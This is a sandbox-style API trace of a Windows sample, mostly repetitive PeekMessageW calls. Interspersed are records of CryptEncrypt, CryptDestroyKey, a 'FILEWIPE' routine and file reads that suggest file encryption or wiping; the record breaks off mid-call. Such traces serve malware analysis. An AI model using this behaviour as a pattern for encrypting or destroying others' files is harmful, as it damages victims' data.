[0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.169] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.169] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb594, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb5a0) returned 1 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.169] CharLowerBuffW (in: lpsz="byte[46497]", cchLength=0xb | out: lpsz="byte[46497]") returned 0xb [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.170] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.170] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.170] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e2ab0*, pdwDataLen=0xe8f3dfdf68*=0xb594, dwBufLen=0xb5a0 | out: pbData=0xe8f41e2ab0*, pdwDataLen=0xe8f3dfdf68*=0xb5a0) returned 1 [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.171] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.171] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.171] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.175] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.175] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.175] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.175] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.175] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.175] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.176] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.176] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.176] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.176] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.176] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.176] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.177] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.177] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.178] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.178] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.180] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.180] CharLowerBuffW (in: lpsz="byte[46484]", cchLength=0xb | out: lpsz="byte[46484]") returned 0xb [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.182] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.182] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.182] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.183] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.183] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.183] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.183] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.183] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.183] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.184] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.184] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.185] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.185] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.185] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.185] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.185] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.185] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2924) returned 1 [0024.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.185] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xb6c, lpOverlapped=0x0) returned 1 [0024.185] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xb6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2924) returned 1 [0024.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 